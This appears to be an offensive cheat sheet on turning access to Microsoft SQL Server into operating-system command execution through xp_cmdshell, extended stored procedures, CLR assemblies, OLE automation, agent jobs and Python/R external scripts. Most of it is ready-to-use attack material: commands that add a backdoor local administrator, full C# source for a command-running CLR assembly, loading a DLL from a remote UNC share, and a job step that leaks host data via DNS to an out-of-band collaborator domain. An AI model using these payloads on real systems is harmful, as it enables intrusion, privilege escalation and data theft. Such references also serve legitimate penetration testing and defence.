MSSQL - Command Execution
contents
Summary#
- Command Execution via xp_cmdshell
- Extended Stored Procedure
- CLR Assemblies
- OLE Automation
- Agent Jobs
- External Scripts
Command Execution via xp_cmdshell#
xp_cmdshell disabled by default since SQL Server 2005
PowerUpSQL> Invoke-SQLOSCmd -Username sa -Password Password1234 -Instance "<DBSERVERNAME\DBInstance>" -Command whoami# Creates and adds local user backup to the local administrators group:PowerUpSQL> Invoke-SQLOSCmd -Username sa -Password Password1234 -Instance "<DBSERVERNAME\DBInstance>" -Command "net user backup Password1234 /add'" -VerbosePowerUpSQL> Invoke-SQLOSCmd -Username sa -Password Password1234 -Instance "<DBSERVERNAME\DBInstance>" -Command "net localgroup administrators backup /add" -Verbose- Manually execute the SQL query
EXEC xp_cmdshell "net user";EXEC master..xp_cmdshell 'whoami'EXEC master.dbo.xp_cmdshell 'cmd.exe dir c:';EXEC master.dbo.xp_cmdshell 'ping 127.0.0.1';- If you need to reactivate xp_cmdshell (disabled by default in SQL Server 2005)
EXEC sp_configure 'show advanced options',1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell',1;RECONFIGURE;- If the procedure was uninstalled
sp_addextendedproc 'xp_cmdshell','xplog70.dll'Extended Stored Procedure#
Add the extended stored procedure and list extended stored procedures#
# Create evil DLLCreate-SQLFileXpDll -OutFile C:\temp\test.dll -Command "echo test > c:\temp\test.txt" -ExportName xp_test# Load the DLL and call xp_testGet-SQLQuery -UserName sa -Password Password1234 -Instance "<DBSERVERNAME\DBInstance>" -Query "sp_addextendedproc 'xp_test', '\\10.10.0.1\temp\test.dll'"Get-SQLQuery -UserName sa -Password Password1234 -Instance "<DBSERVERNAME\DBInstance>" -Query "EXEC xp_test"# Listing existingGet-SQLStoredProcedureXP -Instance "<DBSERVERNAME\DBInstance>" -Verbose- Build a DLL using xp_evil_template.cpp
- Load the DLL
-- can also be loaded from UNC path or Webdavsp_addextendedproc 'xp_calc', 'C:\mydll\xp_calc.dll'EXEC xp_calcsp_dropextendedproc 'xp_calc'CLR Assemblies#
Prerequisites:
- sysadmin privileges
- CREATE ASSEMBLY permission (or)
- ALTER ASSEMBLY permission (or)
The execution takes place with privileges of the service account.
Execute commands using CLR assembly#
# Create C# code for the DLL, the DLL and SQL query with DLL as hexadecimal stringCreate-SQLFileCLRDll -ProcedureName "runcmd" -OutFile runcmd -OutDir C:\Users\user\Desktop# Execute command using CLR assemblyInvoke-SQLOSCmdCLR -Username sa -Password <password> -Instance <instance> -Command "whoami" -VerboseInvoke-SQLOSCmdCLR -Username sa -Password Password1234 -Instance "<DBSERVERNAME\DBInstance>" -Command "whoami" VerboseInvoke-SQLOSCmdCLR -Username sa -Password Password1234 -Instance "<DBSERVERNAME\DBInstance>" -Command "powershell -e <base64>" -Verbose# List all the stored procedures added using CLRGet-SQLStoredProcedureCLR -Instance <instance> -VerboseManually creating a CLR DLL and importing it#
Create a C# DLL file with the following content, with the command : C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /target:library c:\temp\cmd_exec.cs
using System;using System.Data;using System.Data.SqlClient;using System.Data.SqlTypes;using Microsoft.SqlServer.Server;using System.IO;using System.Diagnostics;using System.Text;public partial class StoredProcedures{ [Microsoft.SqlServer.Server.SqlProcedure] public static void cmd_exec (SqlString execCommand) { Process proc = new Process(); proc.StartInfo.FileName = @"C:\Windows\System32\cmd.exe"; proc.StartInfo.Arguments = string.Format(@" /C {0}", execCommand.Value); proc.StartInfo.UseShellExecute = false; proc.StartInfo.RedirectStandardOutput = true; proc.Start(); // Create the record and specify the metadata for the columns. SqlDataRecord record = new SqlDataRecord(new SqlMetaData("output", SqlDbType.NVarChar, 4000)); // Mark the beginning of the result set. SqlContext.Pipe.SendResultsStart(record); // Set values for each column in the row record.SetString(0, proc.StandardOutput.ReadToEnd().ToString()); // Send the row back to the client. SqlContext.Pipe.SendResultsRow(record); // Mark the end of the result set. SqlContext.Pipe.SendResultsEnd(); proc.WaitForExit(); proc.Close(); }};Then follow these instructions:
Enable
show advanced optionson the serversp_configure 'show advanced options',1; RECONFIGUREGOEnable CLR on the server
sp_configure 'clr enabled',1RECONFIGUREGOTrust the assembly by adding its SHA512 hash
EXEC sys.sp_add_trusted_assembly 0x[SHA512], N'assembly';Import the assembly
CREATE ASSEMBLY my_assemblyFROM 'c:\temp\cmd_exec.dll'WITH PERMISSION_SET = UNSAFE;Link the assembly to a stored procedure
CREATE PROCEDURE [dbo].[cmd_exec] @execCommand NVARCHAR (4000) AS EXTERNAL NAME [my_assembly].[StoredProcedures].[cmd_exec];GOExecute and clean
cmd_exec "whoami"DROP PROCEDURE cmd_execDROP ASSEMBLY my_assemblyCREATE ASSEMBLY will also accept an hexadecimal string representation of a CLR DLL
CREATE ASSEMBLY [my_assembly] AUTHORIZATION [dbo] FROM 0x4D5A90000300000004000000F[TRUNCATED]WITH PERMISSION_SET = UNSAFE GO OLE Automation#
- :warning: Disabled by default
- The execution takes place with privileges of the service account.
Execute commands using OLE automation procedures#
Invoke-SQLOSCmdOle -Username sa -Password Password1234 -Instance "<DBSERVERNAME\DBInstance>" -Command "whoami" Verbose# Enable OLE AutomationEXEC sp_configure 'show advanced options', 1EXEC sp_configure reconfigureEXEC sp_configure 'OLE Automation Procedures', 1EXEC sp_configure reconfigure# Execute commandsDECLARE @execmd INTEXEC SP_OACREATE 'wscript.shell', @execmd OUTPUTEXEC SP_OAMETHOD @execmd, 'run', null, '%systemroot%\system32\cmd.exe /c'# https://github.com/blackarrowsec/mssqlproxy/blob/master/mssqlclient.pypython3 mssqlclient.py 'host/username:password@10.10.10.10' -install -clr Microsoft.SqlServer.Proxy.dllpython3 mssqlclient.py 'host/username:password@10.10.10.10' -check -reciclador 'C:\windows\temp\reciclador.dll'python3 mssqlclient.py 'host/username:password@10.10.10.10' -start -reciclador 'C:\windows\temp\reciclador.dll'SQL> enable_oleSQL> upload reciclador.dll C:\windows\temp\reciclador.dllAgent Jobs#
- The execution takes place with privileges of the SQL Server Agent service account if a proxy account is not configured.
- :warning: Require sysadmin or SQLAgentUserRole, SQLAgentReaderRole, and SQLAgentOperatorRole roles to create a job.
Execute commands through SQL Agent Job service#
Invoke-SQLOSCmdAgentJob -Subsystem PowerShell -Username sa -Password Password1234 -Instance "<DBSERVERNAME\DBInstance>" -Command "powershell e <base64encodedscript>" -VerboseSubsystem Options:–Subsystem CmdExec-SubSystem PowerShell–Subsystem VBScript–Subsystem JscriptUSE msdb; EXEC dbo.sp_add_job @job_name = N'test_powershell_job1'; EXEC sp_add_jobstep @job_name = N'test_powershell_job1', @step_name = N'test_powershell_name1', @subsystem = N'PowerShell', @command = N'$name=$env:COMPUTERNAME[10];nslookup "$name.redacted.burpcollaborator.net"', @retry_attempts = 1, @retry_interval = 5 ;EXEC dbo.sp_add_jobserver @job_name = N'test_powershell_job1'; EXEC dbo.sp_start_job N'test_powershell_job1';-- deleteEXEC dbo.sp_delete_job @job_name = N'test_powershell_job1';List All Jobs#
SELECT job_id, [name] FROM msdb.dbo.sysjobs;SELECT job.job_id, notify_level_email, name, enabled, description, step_name, command, server, database_name FROM msdb.dbo.sysjobs job INNER JOIN msdb.dbo.sysjobsteps steps ON job.job_id = steps.job_idGet-SQLAgentJob -Instance "<DBSERVERNAME\DBInstance>" -username sa -Password Password1234 -VerboseExternal Scripts#
Requirements:
- Feature ‘Advanced Analytics Extensions’ must be installed
- Enable external scripts.
sp_configure 'external scripts enabled', 1;RECONFIGURE;Python#
Invoke-SQLOSCmdPython -Username sa -Password Password1234 -Instance "<DBSERVERNAME\DBInstance>" -Command "powershell -e <base64encodedscript>" -VerboseEXEC sp_execute_external_script @language =N'Python',@script=N'import subprocess p = subprocess.Popen("cmd.exe /c whoami", stdout=subprocess.PIPE) OutputDataSet = pandas.DataFrame([str(p.stdout.read(), "utf-8")])'WITH RESULT SETS (([cmd_out] nvarchar(max)))R#
Invoke-SQLOSCmdR -Username sa -Password Password1234 -Instance "<DBSERVERNAME\DBInstance>" -Command "powershell -e <base64encodedscript>" -VerboseEXEC sp_execute_external_script @language=N'R',@script=N'OutputDataSet <- data.frame(system("cmd.exe /c dir",intern=T))'WITH RESULT SETS (([cmd_out] text));GO@script=N'OutputDataSet <-data.frame(shell("dir",intern=T))'